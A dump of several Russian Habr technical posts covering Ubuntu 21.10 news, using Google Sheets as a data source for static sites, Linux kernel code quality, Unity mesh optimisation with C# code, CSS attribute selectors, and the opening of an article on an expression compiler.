MicroK8s теперь предлагает последнюю версию Kubernetes 1.22, сертифицированную CNCF, в стабильном канале. Контейнеры Kata обеспечивают новый способ запуска контейнеров с облегченной виртуализацией, повышающий безопасность развертывания. Kata теперь активируется в MicroK8s с помощью `microk8s enable kata`.
Поддержка MicroK8s для IBM Z доступна для бета-тестирования.
В Ubuntu 21.10 включили Apache Cassandra, что позволяет командам DataOps настраивать кластер Cassandra.
В рамках работы с NVIDIA Ubuntu 18.04 LTS и Ubuntu 20.04 LTS получают поддержку vGPU на Ubuntu KVM. Пользователи могут совместно использовать физические устройства с графическим процессором между гостевыми виртуальными машинами в качестве виртуальных графических процессоров, улучшая производительность и эффективность.
Оператор NVIDIA GPU 1.7.0 упрощает выполнение рабочих нагрузок AI/ML в Kubernetes.
В ядре 5.13 в Ubuntu 21.10 добавлена поддержка Kernel Electric Fence (KFENCE), нового детектора ошибок памяти во время выполнения, разработанного для производственных сред. KFENCE снижает расходы при обнаружении наиболее распространенных ошибок памяти. Включенный по умолчанию, Ubuntu 21.10 будет рандомизировать расположение памяти стека ядра при каждой записи системного вызова на архитектурах amd64 и arm64 с минимальным влиянием на производительность.
Ранее Canonical также [выпустила](https://habr.com/ru/news/t/582138/) единую оболочку Ubuntu Frame для разработки под встраиваемые дисплеи, рекламные вывески и бегущие строки. В инструменте объединили все необходимые инструменты в одном месте, что поможет сократить время разработки и повысить качество конечного продукта.
Последнее крупное обновление Ubuntu вышло весной 2021 года. В версии Ubuntu 21.04 «Hirsute Hippo» пользователи получили изменение внешнего вида системы, более гибкие настройки настройки энергопотребления и обновление встроенных программ, поставляемых вместе с операционной системой. | https://habr.com/ru/post/583626/ | null | ru | null |
# «CMS» на базе Google Spreadsheets для статических сайтов
Все чаще для рассказа о мероприятии/товаре/услуге компании создают сайты на базе каких либо конструкторов. Либо своими силами, либо привлекая дизайнеров и без участия программиста. Современные конструкторы позволяют собрать классный, яркий, эффектный сайт, но статичный. Любые изменения нужно вносить «ручками в редакторе» и перепубликовать страницу. Но что делать, если данные меняются очень часто или хочется добавить немного автоматизации — вот тут и могут помочь Гугл Таблицы и Charts Query Language (и знакомы программист).
Несколько лет назад ко мне обратился один приятель которому потребовалось на сайте собранном на Тильде добавить прайс лист. И все бы ничего, есть блок «таблица» — забивай данные и публикуй, но были два условия:
* цены зависили от курса доллара и менялись почти каждый день
* нужен был общий прайс и его части на страницах групп товаров
Соответственно куча рутины и высокая вероятность расхождения данных. Нужно было автоматизировать.
И помощь пришла со стороны Google Speadsheets. Думаю нет смысла описывать плюсы: привычный редактор, совместная работа, формулы. Все что нужно это менять один раз в день курс валюты. Оставался только вопрос как получить данные из таблицы на сайте. А тут пригодился [API Google Charts](https://developers.google.com/chart/interactive/docs/querylanguage).
Он позволяет при помощи ajax запроса получить данные в виде jsonp.
Запрос нужно отправлять по адресу «[docs.google.com/a/google.com/spreadsheets/d/xxxxxx/gviz/tq?tq=yyyyyy](https://docs.google.com/a/google.com/spreadsheets/d/xxxxxx/gviz/tq?tq=yyyyyy)»
где:
xxxxxx — идентификатор из общедоступной ссылки на гугл таблицу
yyyyyy — SQL-запрос для получения данных из таблицы преобразованный (не забудьте преобразовать все символы в HTML entities типа: select%20A%2C%20sum(B)%20group%20by%20A).
Еще одно замечание, SQL вполне привычный разве что урезанный (см. [документацию](https://developers.google.com/chart/interactive/docs/querylanguage#language-clauses)), но из него полностью вырезан блок FROM. Так что нужно писать что-то типа «select A, B where C='f' and B<30 order by B»
Полученный в ответ скрипт вызовет метод google.visualization.Query.setResponse(data).
Объект data содержит следующие полезные данные:
```
{
status: "ok", //когда все прошло успешно
table: {
cols: [ //массив заголовков по количеству полученных столбцов
0: {
id: "A",
label: "Заголовок столбца А",
type: "string"
},
1: {
id: "B",
label: "Заголовок столбца B",
type: "number"
},
...
],
rows: [ //массив по количеству строк
0: {
c: [ //массив по количеству столбцов с данными
0: {
v: "Строка" // для строки только одно поле
}
1: {
v: 3.1415, // для числа и прочих кроме "сырого" значения
f: "3,1415" // есть еще и форматированное
}
]
}
]
}
}
```
Ну, а дальше делайте с данными что хотите: хоть вставляйте в таблицу, хоть генерируйте svg (использовал для генерации карты на схеме загородного поселка отмечая свободные и проданые), хоть заменяйте плейсхолдеры в тексте — полет фантазии безграничный.
Естественно такой способ не подойдет для высоконагруженных систем, гугл имеет ограничение на количество запросов в день, но пока ни одному сайту из автоматизированных мной не удалось его выяснить.
И маленькая подсказка на последок. Таблица к которой делаются запросы должна быть расшарена по ссылке. А если вдруг будут нужны поля скрытые от общих глаз, то для этого есть удобная функция в Google Таблицы. Называется она [IMPORTRANGE(ключ., диапазон)](https://support.google.com/docs/answer/3093340?hl=ru). В качестве ключа выступает ссылка на любую таблицу к которой у вас есть доступ, а диапазон это группа ячеек которые нужно показать. Т.е. вы делаете закрытую таблицу с полным набором данных и публичную таблицу в которую импортируете только нужные диапазоны данных (вы же их все равно собрались показывать на сайте). | https://habr.com/ru/post/432740/ | null | ru | null |
# Когда программный код вызывает восхищение?
Тема идеального кода нередко вызывает полемику в среде матерых программистов. Тем интереснее было заполучить мнение директора по разработке Parallels RAS Игоря Марната. Под катом его авторский взгляд по заявленной теме. Enjoy!
В качестве введения хотелось бы остановиться на вопросе, почему же я вообще решил написать эту небольшую статью. Перед ее написанием я задал вопрос из заголовка нескольким разработчикам. С большинством из ребят довелось поработать больше пяти лет, с некоторыми чуть меньше, но их профессионализму и опыту доверяю безоговорочно. У всех стаж промышленной разработки больше десяти лет, все работают в российских и международных компаниях, производителях программного обеспечения.
Некоторые коллеги затруднились с ответом (кое-кто думает до сих пор), другие назвали один-два примера сразу. Тем, кто привёл примеры, я задал уточняющий вопрос – «Что, собственно, вызвало это восхищение?». Ответы соответствовали результатам следующего этапа моего небольшого исследования. Я поискал в сети ответы на этот вопрос в разных формулировках, близких к заголовку статьи. Все статьи отвечали примерно таким же образом, каким ответили мои товарищи.
Ответы разработчиков, как и формулировки найденных статей, относились к читаемости и структуре кода, изяществу логических конструкций, использованию всех возможностей современных языков программирования и следованию определённому стилю оформления.
Когда же я задал вопрос о «божественном коде» себе, то ответ всплыл незамедлительно, из подсознания. Я сразу же подумал о двух примерах кода, с которыми работал давно (больше десяти лет назад), но чувство восхищения и некоторого благоговения испытываю до сих пор. Обдумав причины восхищения каждым из них, я сформулировал несколько критериев, о которых речь пойдёт ниже. На первом примере я остановлюсь вскользь, второй же хотелось бы разобрать более подробно. Кстати, в разной степени, все эти критерии рассмотрены в настольной книге каждого разработчика «[Совершенный код](https://www.ozon.ru/context/detail/id/142768363/)» от Стива Макконнелла, но эта статья заметно короче.
### Пример из 90-х
Первый пример, о котором я упомяну, относится к реализации модемного протокола v42bis. Этот протокол разработан в конце 80-х — начале 90-х годов. Интересная идея, воплощенная разработчиками протокола — реализация поточного сжатия информации при передаче по нестабильной (телефонной) линии связи. Отличие поточного сжатия от сжатия файлов фундаментальное. При сжатии файлов архиватор имеет возможность проанализировать набор данных полностью, определить оптимальный подход к сжатию и кодированию данных, и записать данные в файл целиком, не беспокоясь о возможных потерях данных и метаданных. При разархивации, в свою очередь, набор данных снова доступен полностью, целостность обеспечена контрольной суммой. При поточном же сжатии архиватору доступно только небольшое окно данных, нет гарантии отсутствия потери данных, необходимость переустановки соединения и инициализации процесса сжатия является обычным делом.
Авторы алгоритма нашли изящное решение, описание которое занимает [буквально несколько страниц](http://www.modem.od.ua/download/lib/v42b-com.pdf). Прошло много лет, но я до сих пор впечатлён красотой и изяществом подхода, предложенного разработчиками алгоритма.
Этот пример относится всё-таки не к коду как таковому, а скорее к алгоритму, поэтому не будем останавливаться на нём более подробно.
### Linux всему голова!
Второй пример совершенного кода хотелось бы разобрать подробнее. Это код ядра Linux. Код, который на момент написания статьи управляет работой 500 суперкомпьютеров из [top 500](https://www.top500.org/statistics/sublist/), код, который работает в каждом втором телефоне в мире и который управляет большей частью серверов в сети Интернет.
Рассмотрим для примера файл memory.c из [ядра Linux](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/mm/memory.c), который относится к подсистеме управления памятью.
**1. Исходники легко читать.** Они написаны с использованием очень простого стиля, которому легко следовать и трудно запутаться. Заглавные символы используются только для директив и макросов препроцессора, все остальное пишется маленькими буквами, слова в наименованиях отделяются символами подчёркивания. Пожалуй, это самый простой из возможных стилей кодирования, кроме отсутствия стиля вообще. При этом, код прекрасно читается. Отступы и подход к комментированию видны из любого куска любого файла ядра, к примеру:
```
static void tlb_remove_table_one(void *table)
{
/*
* This isn't an RCU grace period and hence the page-tables cannot be
* assumed to be actually RCU-freed.
*
* It is however sufficient for software page-table walkers that rely on
* IRQ disabling. See the comment near struct mmu_table_batch.
*/
smp_call_function(tlb_remove_table_smp_sync, NULL, 1);
__tlb_remove_table(table);
}
```
**2. Комментариев в коде не слишком много, но те, что есть, обычно полезны.** Они, как правило, описывают не действие, которое и так очевидно из кода (классический пример бесполезного комментария — “cnt++; // increment counter”), а контекст этого действия — почему здесь делается то, что делается, почему это делается так, почему здесь, с какими предположениями это используется, с какими другими местами в коде это связано. К примеру:
```
/**
* tlb_gather_mmu - initialize an mmu_gather structure for page-table tear-down
* @tlb: the mmu_gather structure to initialize
* @mm: the mm_struct of the target address space
* @start: start of the region that will be removed from the page-table
* @end: end of the region that will be removed from the page-table
*
* Called to initialize an (on-stack) mmu_gather structure for page-table
* tear-down from @mm. The @start and @end are set to 0 and -1
* respectively when @mm is without users and we're going to destroy
* the full address space (exit/execve).
*/
void tlb_gather_mmu(struct mmu_gather *tlb, struct mm_struct *mm,
unsigned long start, unsigned long end)
```
Другой вид использования комментариев в ядре — описание истории изменений, обычно в начале файла. История ядра насчитывает уже почти тридцать лет, и некоторые места читать просто интересно, чувствуешь себя сопричастным истории:
```
/*
* demand-loading started 01.12.91 - seems it is high on the list of
* things wanted, and it should be easy to implement. - Linus
*/
/*
* Ok, demand-loading was easy, shared pages a little bit tricker. Shared
* pages started 02.12.91, seems to work. - Linus.
*
* Tested sharing by executing about 30 /bin/sh: under the old kernel it
* would have taken more than the 6M I have free, but it worked well as
* far as I could see.
*
* Also corrected some "invalidate()"s - I wasn't doing enough of them.
*/
```
**3. В коде ядра используются специальные макросы для проверки данных.** Они также используются для проверки контекста, в котором работает код. Функциональность этих макросов похожа на стандартный assert, c той разницей, что разработчик может переопределить действие, которое выполняется в случае истинности условия. Общий подход к обработке данных в ядре — проверяется всё, что приходит из user space, в случае ошибочных данных возвращается соответствующее значение. При этом может использоваться WARN\_ON для выдачи записи в лог ядра. BUG\_ON же обычно весьма полезны при отладке нового кода и запуске ядра на новых архитектурах.
Макрос BUG\_ON обычно вызывает печать содержимого регистров и стека и либо останавливает всю систему, либо процесс, в контексте которого произошёл соответствующий вызов. Макрос WARN\_ON просто выдаёт сообщение в лог ядра в случае истинности условия. Есть также макросы WARN\_ON\_ONCE и ряд других, функциональность которых понятна из названия.
```
void unmap_page_range(struct mmu_gather *tlb,
….
unsigned long next;
BUG_ON(addr >= end);
tlb_start_vma(tlb, vma);
int apply_to_page_range(struct mm_struct *mm, unsigned long addr,
…
unsigned long end = addr + size;
int err;
if (WARN_ON(addr >= end))
return -EINVAL;
```
Подход, при котором данные, полученные из ненадежных источников, проверяются перед использованием, и реакция системы на “невозможные” ситуации предусмотрена и определена, заметно упрощает отладку системы и её эксплуатацию. Можно рассматривать этот подход как реализацию принципа fail early and loudly.
**4. Все основные компоненты ядра предоставляют пользователям информацию о своём состоянии через простой интерфейс, виртуальную файловую систему /proc/.**
К примеру, информация о состоянии памяти доступна в файле /proc/meminfo
```
user@parallels-vm:/home/user$ cat /proc/meminfo
MemTotal: 2041480 kB
MemFree: 65508 kB
MemAvailable: 187600 kB
Buffers: 14040 kB
Cached: 246260 kB
SwapCached: 19688 kB
Active: 1348656 kB
Inactive: 477244 kB
Active(anon): 1201124 kB
Inactive(anon): 387600 kB
Active(file): 147532 kB
Inactive(file): 89644 kB
….
```
Информация, приведённая выше, собирается и обрабатывается в нескольких исходных файлах подсистемы управления памятью. Так, первое поле MemTotal, это значение поля totalram структуры sysinfo, которая заполняется функцией [si\_meminfo файла page\_alloc.c](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/mm/page_alloc.c).
Очевидно, организация сбора, хранения и предоставления пользователю доступа к такой информации требует усилий от разработчика и некоторых накладных расходов от системы. При этом, польза от наличия удобного и простого доступа к таким данным неоценима, как в процессе разработки, так и эксплуатации кода.
Разработку практически любой системы стоит начинать с системы сбора и предоставления информации о внутреннем состоянии вашего кода и данных. Это очень поможет в процессе разработки и тестирования, и, в дальнейшем, в эксплуатации.
Как [сказал Линус](https://en.wikiquote.org/wiki/Linus_Torvalds), «Bad programmers worry about the code. Good programmers worry about data structures and their relationships».
**5. Весь код читается и обсуждается несколькими разработчиками перед коммитом.** История изменений исходного кода записана и доступна. Изменения любой строки можно проследить вплоть до её возникновения — что менялось, кем, когда, почему, какие вопросы при этом обсуждались разработчиками. К примеру, изменение https://github.com/torvalds/linux/commit/1b2de5d039c883c9d44ae5b2b6eca4ff9bd82dac#diff-983ac52fa16631c1e1dfa28fc593d2ef в коде memory.c, вдохновлено багом https://bugzilla.kernel.org/show\_bug.cgi?id=200447 в котором сделана небольшая оптимизация кода (вызов включения защиты памяти от записи не происходит, если память уже защищена от записи).
Разработчику, работающему с кодом, всегда важно понимать контекст вокруг этого кода, с какими предположениями код создавался, что и когда менялось, чтобы понимать, какие сценарии могут быть затронуты теми изменениями, который собирается делать он сам.
**6. Все важные элементы жизненного цикла кода ядра документированы и доступны**, начиная [со стиля кодирования](https://www.kernel.org/doc/html/v4.12/process/coding-style.html) и заканчивая [содержимым и расписанием выпуска стабильных версий ядра](https://www.kernel.org/doc/html/v4.12/process/stable-kernel-rules.html). Каждый разработчик и пользователь, который хочет работать с кодом ядра в том или ином качестве, имеет для этого всю необходимую информацию.
Эти моменты показались мне важными, в основном, они определили моё восторженное отношение к коду ядра. Очевидно, список весьма краткий и может быть расширен. Но перечисленные выше пункты, на мой взгляд, относятся к ключевым аспектам жизненного цикла любого исходного кода с точки зрения разработчика, работающего с этим кодом.
Что бы мне хотелось сказать в заключение. Разработчики ядра — умные и опытные, они добились успеха. Доказано миллиардами устройств под управлением Linux
Будьте как разработчики ядра, используйте лучшие практики и читайте Code Complete!
**З.Ы.** Кстати, а какие критерии идеального кода лично у вас? Поделитесь мыслями в комментариях. | https://habr.com/ru/post/426679/ | null | ru | null |
# Удалить то, что скрыто: оптимизация 3D-сцен в мобильной игре. Советы сотрудников Plarium Krasnodar
Уже на начальном этапе создания мобильных игр следует учитывать, что детализированные модели сильно нагружают портативное устройство, а это ведет к падению частоты кадров, особенно на слабых девайсах. Как экономно использовать ресурсы трехмерных моделей без потери визуального качества? Под катом — решение, найденное специалистами краснодарской студии Plarium.
Описанный здесь способ требует больших вычислений и подойдет только для предварительной подготовки сцен.
В игре Terminator Genisys: Future War есть трехмерные миниатюры юнитов (люди, роботы, машины), которые можно осматривать с разных сторон с помощью камеры. Однако ее обзор ограничен программно, и определенные части моделей всегда остаются скрытыми от глаз пользователей. Значит, надо найти и удалить такие участки.
Невидимые части делятся на две категории:
1. Находящиеся сзади модели.
2. Перекрытые другими частями.
Части первой категории обработать достаточно легко, используя стандартный способ удаления невидимых треугольников. Со второй категорией все не так очевидно.
Сначала необходимо определить, на каком этапе удалять скрытые треугольники. Модели юнитов и объектов окружения мы создали в 3D-редакторах, а финальную сборку сцены, настройку камеры и освещения осуществили в Unity. Поскольку оптимизация геометрии моделей в 3D-редакторе требует разработки дополнительного инструментария для каждого 3D-пакета, мы решили выполнять оптимизацию в Unity.
Для определения невидимых треугольников мы разработали простой алгоритм:
1. Выключаем эффекты, которые никак не сказываются на видимости объектов в сцене.
2. Задаем позиции и ракурсы камеры, с помощью которых будет производиться проверка. Большое количество заданных позиций сделает результат точнее, но замедлит процесс оптимизации. Мы использовали несколько десятков позиций.
3. Всем объектам в сцене назначаем шейдер, отображающий цвет вершин мешей объектов. По умолчанию вершины окрашены в черный цвет, поэтому сцена в таком виде будет похожа на известную картину Малевича.
4. Проходимся по всем треугольникам меша одного из оптимизируемых объектов.
4.1. На каждом шаге вырезаем из меша текущий треугольник, сохраняем его в отдельный временный меш и, соответственно, получаем отдельный объект на сцене. При этом красим его вершины в красный цвет. В результате у нас получится черная сцена с маленьким красным треугольником.
4.2. Проходимся по всем изначально зафиксированным позициям и ракурсам камеры.
4.2.1. В текущей позиции камеры делаем снимок сцены. Хорошее разрешение снимка сделает результат точнее, но замедлит процесс оптимизации. Мы использовали разрешение 4К.
4.2.2. На полученном снимке ищем красный цвет. Вычисляем регион изображения, в котором находится проверяемый треугольник, чтобы не проходить по всем пикселям снимка. Для этого переводим координаты вершин треугольника из пространства сцены в экранные координаты с учетом текущих позиции и ракурса камеры. Если мы находим в проверяемом регионе красный пиксель, то можно сразу переходить к следующему шагу.
4.2.3. Если мы нашли красный пиксель, то дальнейшую проверку для других ракурсов и позиций камеры можно не проводить. Проверяем следующий треугольник, возвращаясь к шагу 4.1.
4.2.4. Переходим к следующей позиции камеры и к шагу 4.2.1.
4.3. Если мы прошли все шаги и оказались здесь, значит мы не нашли красный цвет ни на одном из выполненных снимков. Треугольник можно удалить и идти к шагу 4.1.
5. Profit! Мы оптимизировали один из объектов. Можно переходить к шагу 4 для других объектов.
6. Сцена оптимизирована.
```
public class MeshData
{
public Camera Camera;
public List Polygons;
public MeshFilter Filter;
public MeshFilter PolygonFilter;
public float ScreenWidth;
public float ScreenHeight;
public RenderTexture RenderTexture;
public Texture2D ScreenShot;
}
public class RenderTextureMeshCutter
{
// .....................
// Точка входа
// Убираем из списка видимые полигоны, таким образом они не будут удалены впоследствии
public static void SaveVisiblePolygons(MeshData data)
{
var polygonsCount = data.Polygons.Count;
for (int i = polygonsCount - 1; i >= 0; i--)
{
var polygonId = data.Polygons[i];
var worldVertices = GetPolygonWorldPositions(polygonId, data.PolygonFilter);
var screenVertices = GetScreenVertices(worldVertices, data.Camera);
screenVertices = ClampScreenCordinatesInViewPort(screenVertices, data.ScreenWidth, data.ScreenHeight);
var gui0 = ConvertScreenToGui(screenVertices[0], data.ScreenHeight);
var gui1 = ConvertScreenToGui(screenVertices[1], data.ScreenHeight);
var gui2 = ConvertScreenToGui(screenVertices[2], data.ScreenHeight);
var guiVertices = new[] { gui0, gui1, gui2 };
var renderTextureRect = GetPolygonRect(guiVertices);
if (renderTextureRect.width == 0 || renderTextureRect.height == 0) continue;
var oldTriangles = data.Filter.sharedMesh.triangles;
RemoveTrianglesOfPolygon(polygonId, data.Filter);
var tex = GetTexture2DFromRenderTexture(renderTextureRect, data);
// Если полигон виден (найден красный пиксель), то удаляем его из списка полигонов, которые необходимо удалить
if (ThereIsPixelOfAColor(tex, renderTextureRect))
{
data.Polygons.RemoveAt(i);
}
// Возвращаем проверяемый меш к исходному состоянию
data.Filter.sharedMesh.triangles = oldTriangles;
}
}
// Обрезаем координаты, чтобы не залезть за пределы рендер текстуры
private static Vector3[] ClampScreenCordinatesInViewPort(Vector3[] screenPositions, float screenWidth, float screenHeight)
{
var len = screenPositions.Length;
for (int i = 0; i < len; i++)
{
if (screenPositions[i].x < 0)
{
screenPositions[i].x = 0;
}
else if (screenPositions[i].x >= screenWidth)
{
screenPositions[i].x = screenWidth - 1;
}
if (screenPositions[i].y < 0)
{
screenPositions[i].y = 0;
}
else if (screenPositions[i].y >= screenHeight)
{
screenPositions[i].y = screenHeight - 1;
}
}
return screenPositions;
}
// Возвращаем мировые координаты
private static Vector3[] GetPolygonWorldPositions(MeshFilter filter, int polygonId, MeshFilter polygonFilter)
{
var sharedMesh = filter.sharedMesh;
var meshTransform = filter.transform;
polygonFilter.transform.position = meshTransform.position;
var triangles = sharedMesh.triangles;
var vertices = sharedMesh.vertices;
var index = polygonId \* 3;
var localV0Pos = vertices[triangles[index]];
var localV1Pos = vertices[triangles[index + 1]];
var localV2Pos = vertices[triangles[index + 2]];
var vertex0 = meshTransform.TransformPoint(localV0Pos);
var vertex1 = meshTransform.TransformPoint(localV1Pos);
var vertex2 = meshTransform.TransformPoint(localV2Pos);
return new[] { vertex0, vertex1, vertex2 };
}
// Находим красный полигон
private static bool ThereIsPixelOfAColor(Texture2D tex, Rect rect)
{
var width = (int)rect.width;
var height = (int)rect.height;
// Пиксели берутся из левого нижнего угла
var pixels = tex.GetPixels(0, 0, width, height, 0);
var len = pixels.Length;
for (int i = 0; i < len; i += 1)
{
var pixel = pixels[i];
if (pixel.r > 0f && pixel.g == 0 && pixel.b == 0 && pixel.a == 1) return true;
}
return false;
}
// Получаем фрагмент рендер текстуры по ректу
private static Texture2D GetTexture2DFromRenderTexture(Rect renderTextureRect, MeshData data)
{
data.Camera.targetTexture = data.RenderTexture;
data.Camera.Render();
RenderTexture.active = data.Camera.targetTexture;
data.ScreenShot.ReadPixels(renderTextureRect, 0, 0);
RenderTexture.active = null;
data.Camera.targetTexture = null;
return data.ScreenShot;
}
// Удаляем треугольник с индексом polygonId из списка triangles
private static void RemoveTrianglesOfPolygon(int polygonId, MeshFilter filter)
{
var newTriangles = new int[triangles.Length - 3];
var len = triangles.Length;
var k = 0;
for (int i = 0; i < len; i++)
{
var curPolygonId = i / 3;
if (curPolygonId == polygonId) continue;
newTriangles[k] = triangles[i];
k++;
}
filter.sharedMesh.triangles = newTriangles;
}
// Переводим мировые в экранные координаты
private static Vector3[] GetScreenVertices(Vector3[] worldVertices, Camera cam)
{
var scr0 = cam.WorldToScreenPoint(worldVertices[0]);
var scr1 = cam.WorldToScreenPoint(worldVertices[1]);
var scr2 = cam.WorldToScreenPoint(worldVertices[2]);
return new[] { scr0, scr1, scr2 };
}
// Переводим экранные в Gui координаты
private static Vector2 ConvertScreenToGui(Vector3 pos, float screenHeight)
{
return new Vector2(pos.x, screenHeight - pos.y);
}
// Вычисляем прямоугольник в Gui координатах
private static Rect GetPolygonRect(Vector2[] guiVertices)
{
var minX = guiVertices.Min(v => v.x);
var maxX = guiVertices.Max(v => v.x);
var minY = guiVertices.Min(v => v.y);
var maxY = guiVertices.Max(v => v.y);
var width = Mathf.CeilToInt(maxX - minX);
var height = Mathf.CeilToInt(maxY - minY);
return new Rect(minX, minY, width, height);
}
}
```
Мы решили не останавливаться на обрезке геометрии и попробовали сэкономить свободное текстурное пространство. Для этого вернули оптимизированные модели юнитов моделлерам, и они пересоздали текстурные развертки в 3D-пакете. Затем модели с новыми текстурами мы добавили в проект. Осталось только заново просчитать освещение в сцене.
С помощью созданного алгоритма нам удалось:
* Уменьшить число вершин и треугольников модели без потери качества → Снизилась нагрузка на видеоадаптер. Также шейдеры будут выполняться меньшее количество раз.
* Сократить площадь объекта в карте освещения и сэкономить текстуру для некоторых моделей за счет образовавшейся пустой области → Уменьшился размер приложения и снизилось потребление видеопамяти.
* Использовать большую плотность пикселей на модели (в отдельных случаях) → Улучшилась детализация.
В результате в моделях нам удалось убрать до 50% полигонов и уменьшить текстуры на 10–20%. Для оптимизации каждой сцены, состоящей из нескольких объектов, потребовалось от трех до пяти минут.
Надеемся, что эти находки сделают вашу дальнейшую работу удобнее и приятнее. | https://habr.com/ru/post/348494/ | null | ru | null |
# Тонкости использования селекторов аттрибутов в CSS
CSS может связываться с HTML элементами используя любые из его атрибутов. Вы наверняка знаете о классах и ID. Проверим это в HTML:
> `<h2 id="first-title" class="magical" rel="friend">David Walshh2>`
>
>
Этот один элемент имеет три аттрибута: ID, class и rel. Для выбора элемента в CSS вы можете использовать селектор ID (#first-title) и селектор class (.magical). Но знаете ли вы, что можно использовать для выбора атрибут rel? Это так называемый селектор атрибута:
> `h2[rel=friend] {
>
> /\* woohoo! \*/
>
> }`
Существует множество селекторов атрибутов, мы не будем рассматривать все возможные варианты, рассмотрим наиболее полезные сценарии, встречающиеся в реальном мире.
[rel=external] — Точное совпадение значения атрибута
====================================================
В примере выше, мы использовали атрибут со значением «friend» у элемента h2. CSS селектор, который мы написали, нацелен на элемент h2, потому что его атрибут rel имеет значение «friend». Другими словами, знак равенства означает точное соответствие. Рассмотрим другие примеры.
> `<h1 rel="external">Attribute Equalsh1>`
> `h1[rel=external] { color: red; }`
Более реальный пример из жизни — это стилизация списка блогов. Например у вас есть список ссылок на сайты друзей:
> `<a href="http://perishablepress.com">Jeff Starra>
>
> <a href="http://davidwalsh.name">David Walsha>
>
> <a href="http://accidentalninja.net/">Richard Felixa>`
Вы хотите сделать различные стили для каждой из ссылок. Традиционный способ — задать каждой ссылке имя класса, но это требует дополнительной разметки, что не всегда хорошо (для семантики и прочего). Другой способ — это использование :nth-child, но для этого потребуется неизменный порядок списка. В данном случае идеальным решением будет использование селекторов атрибутов… Ссылки уже имеют уникальные атрибуты.
> `a[href=http://perishablepress.com] { color: red; }`
Я думаю, что чаще всего селекторы атрибутов используют для элементов input. Это text, button, checkbox, file, hidden, image, password, radio, reset и submit. Все они являются элементом и все они очень разные. Так что делать, что то вроди `input {padding: 10px;}`, почти всегда плохая идея. Поэтому очень часто можно увидеть, нечто похожее на это:
> `input[type=text] { padding: 3px; }
>
> input[type=radio] { float: left; }`
Это единственный способ получить различные типы инпутов без добавления дополнительной разметки.
[rel\*=external] — Атрибут содержит некоторое значение в любом месте
====================================================================
Именно здесь становится более интересно. Знаку равенства в селекторе атрибута могут предшествовать другие символы изменяющие значение. Например, "\*=" означает нахождение искомого значения в любом месте значения атрибута. Посмотрим на пример:
> `<h1 rel="xxxexternalxxx">Attribute Containsh1>`
> `h1[rel\*=external] { color: red; }`
Помните, что классы и ID тоже являются атрибутами, и могут быть использованы селектором атрибута. Допустим вы пишете CSS для сайта в котором вы не можете контролировать разметку и разработчики сделали три дива:
> `<div id="post\_1">div>
>
> <div id="post\_two">div>
>
> <div id="third\_post">div>`
Вы можете выбрать их все:
> `div[id\*=post] { color: red; }`
[rel^=external] — Атрибут начинается с определенного значения
=============================================================
> `<h1 rel="external-link yep">Attribute Beginsh1>`
> `h1[rel^=external] { color: red; }`
Реальным примером использования может быть случай, когда вам нужно, что бы любая ссылка на сайт друга отличалась от других ссылок. Не важно это ссылка на главную страницу или внутреннюю, стиль должен быть одним.
> `a[href^=http://perishablepress.com] { color: red; }`
Это будет соответствовать ссылке на главную и второстепенные страницы.
[rel$=external] — Атрибут оканчивается определенным значением
=============================================================
Мы можем выбирать основываясь на начальном значении атрибута, почему бы не выбирать с конечного?
> `<h1 rel="friend external">Attribute Endsh1>`
> `h1[rel$=external] { color: red; }`
Честно говоря, я изо всех сил пытаюсь найти реальный пример использования этого. К примеру вы можете найти ссылки имеющие в конце определенные символы.
> `a[href$=#], a[href$=?] { color: red; }`
[rel~=external] — Атрибут содержит значение в списке разделенном пробелами
==========================================================================
Вы наверняка знаете, что к элементу можно применять несколько классов. Если вы это сделаете, вы можете использовать .class-name в CSS для связи. В селекторе атрибута не все так просто. Если ваш атрибут имеет несколько значений (например список разделенный пробелами) вам прийдется использовать "~=".
> `<h1 rel="friend external sandwich">Attribute Space Separatedh1>`
> `h1[rel~=external] { color: red; }`
Вы можете подумать, зачем это использовать, когда "\*=" найдет то же самое и будет более гибким? Действительно, более универсально, но может быть слишком универсальным. Этот селектор требует места вокруг значения, когда \*= нет. Так что если у вас есть два элемента, один с атрибутом `rel="home friend-link"`, другой `rel="home friend link"`. Вам понадобится селектор разделенный пробелами для связи с вторым элементом.
[rel|=external] — Атрибут содержит значение в списке разделенном тире
=====================================================================
Список разделенный тире очень похож на список разделенный пробелами, и его так же используют для более строгого соблюдения правил, чем при использовании \*=.
> `<h1 rel="friend-external-sandwich">Attribute Dash Separatedh1>`
> `h1[rel|=external] { color: red; }`
[title=one][rel^=external] — Совпадение нескольких атрибутов
============================================================
Вы можете использовать несколько селекторов атрибутов в одном селекторе, который требуют совпадения от всех условий.
> `<h1 rel="handsome" title="Important note">Multiple Attributesh1>`
> `h1[rel=handsome][title^=Important] { color: red; }`
Поддержка браузерами
--------------------
Каждый приведенный выше пример работает во всех современных браузерах: Safari, Chrome, Firefox, Opera и IE. Internet Explorer обладает превосходной поддержкой всего этого в 7 версии и нулевой поддержкой в 6 версии. Что бы протестировать в браузере — откройте [тестовую страницу](http://css-tricks.com/examples/AttributeSelectors/). Если строка/селектор красная — значит селектор работает. | https://habr.com/ru/post/85920/ | null | ru | null |
# Компилятор выражений
Недавно у меня возникла необходимость в вычислении выражений. Выражение представлено в виде строки и может содержать имена переменных, целые числа, строковые константы и любые операции над ними.
Пример:
выражение: «x + 10 == 5 \* y / (1 + z\*2)»;
требуется уметь вычислять это выражение для любых значений x, y и z.
И конечно при этом надо учитывать приоритеты операторов.
Для решения нужно сделать компилятор, который по строке строит объект «Вычислимое Выражение». У этого объекта будет метод «вычислить для данных значений переменных».
Решение на Java, но может быть легко переведено на другие языки.
Сначала о том, что мы получаем на выходе после компиляции строки. Это объект Expression (выражение) с методом execute(Map vars). Объект древовидный, в узлах операторы на листьях переменные или константы. По примеру, думаю все понятно:
«x + 1 < y / (1+2)» =>
`[ "<" ]
[ "+" ]
[ x ]
[ 1 ]
[ "/" ]
[ y ]
[ "+" ]
[ 1 ]
[ 2 ]`
Узлы этого дерева бывают:
* **Бинарными** — оператор и два операнда (+, -, == и т.д.)
* **Унарными**— оператор и один операнд (отрицание и унарный минус)
* **Переменная** — листовой узел с именем переменной
* **Строка**
* **Число**
Для вычисления нужно рекурсивно обойти дерево вычисляя значения в узлах. Для переменной, строки и числа вычисления тривиальны, для бинарного и унарного узлов нужно сначала вычислить значения операднов и просто применить к ним оператор.
Теперь самое интересное — компиляция.
Попробую рассказать понятно для хабралюдей незнакомых с конечными автоматами и грамматиками.
